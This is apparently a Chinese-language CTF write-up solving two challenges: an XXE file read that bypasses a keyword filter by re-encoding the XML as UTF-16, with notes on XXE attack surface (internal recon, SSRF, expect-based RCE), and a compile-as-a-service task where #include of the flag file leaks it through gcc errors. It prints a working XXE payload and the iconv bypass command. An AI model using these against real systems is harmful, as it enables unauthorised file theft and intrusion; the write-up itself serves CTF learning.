0%

[CSAWQual]Web_Unagi&[FireshellCTF]Caas

[CSAWQual]Web_Unagi&[FireshellCTF]Caas

两个BUU一分题,不难但也不算太简单

Web_Unagi

题目就是个很明显的XXE,传一个XML文件上去,ban了ENTITY,SYSTEM,file之类的关键字

使用UTF16编码绕过,编码之后这种字符串匹配的waf就根本拦不住我们了,直接读文件就行

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY aa SYSTEM "file:///flag" >]>
<users>
<user>
<username>aa</username>
<password>passwd1</password>
<name>aa</name>
<email>[email protected]</email>
<group>CSAW2019</group>
<intro>&aa;</intro>
</user>
</users>

这里主要是记录一下XXE之类的东西,这个题倒是没什么太多可记录的东西

UTF-8 && UTF-16

UTF-8是无敌常见的编码类型,用变长字节指定一个字符,对于ASCII码就是正常的一个字节,其他字符可能用两个或者三个字节表示。UTF-16就固定的用两个字节表示一个字符,对于ASCII码也得使用两个字节,所以每个ASCII码前面也得加一个\x00空字符进去
写了个python脚本逐字符的加\x00进去的不能用。。。不知道是python在read的时候缺了啥还是windows和Linux上换行CLRF之类的区别的问题

插入了一个空字符这种字符串匹配的检测就根本无法拦截我们,编码在xml第一行的定义里写上即可,整个文件都需要进行编码
用这个命令可以直接进行编码转换cat a.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml
BE指的是big endian,对应的还有LE little endian,就是大小端序

有一种说法是直接看文件开头几个字符就能直接确定文件的类型。比如UTF-8是EF BB BF而UTF-16BE是FF FE,但是我010editor打开之后并没有看到这些字节。。

XXE的攻击面

XXE可以说是SSRF的一种特化?最常见的攻击方式就是用file://协议之类的进行文件读取了,读/etc/network/interfaces /proc/net/arp /etc/host这几个文件进行内网探测之类的,不过不能解析的数据同样可以用CDATA拼一下转义掉再外带。也可以发http协议进行ssrf,端口探测。在PHP中支持PHP伪协议,在安装了expect扩展时可以利用其进行RCE,在java中可以使用jar协议文件上传。

[FireshellCTF]Caas

很奇怪的题目,写一个C代码,然后编译完了返回一个二进制文件,不符合语法会报错。
从报错中大概可以猜出来后端逻辑是把输入写入/tmp下一个随机文件名的.c文件,然后gcc编译,编译成功就返回二进制文件,失败就返回报错,看起来整个流程非常的安全,写入文件名不可控,写入文件后缀固定为.c,gcc编译可能用的命令执行但是文件名完全不可控,也没有利用点了
一开始在想有没有命令注入,可能是echo进去的文件之类的(不太现实)。测了一下发现不行。看wp

直接使用了C的#include语句进行了文件包含。。。这我真没想到,好久没写C都忘了这茬了。利用的是报错的外带,因为flag文件肯定不符合C语法,在编译的时候include进来,这里就必然引发一个错误,而报错的点就是引发错误的flag文件,自然就把文件内容外带了
这种利用想法还真令人眼前一亮,完全没想到,学习了

参考链接

Unicode(UTF-8, UTF-16)令人混淆的概念
XXE Bypass WAF
一篇文章带你深入理解漏洞之 XXE 漏洞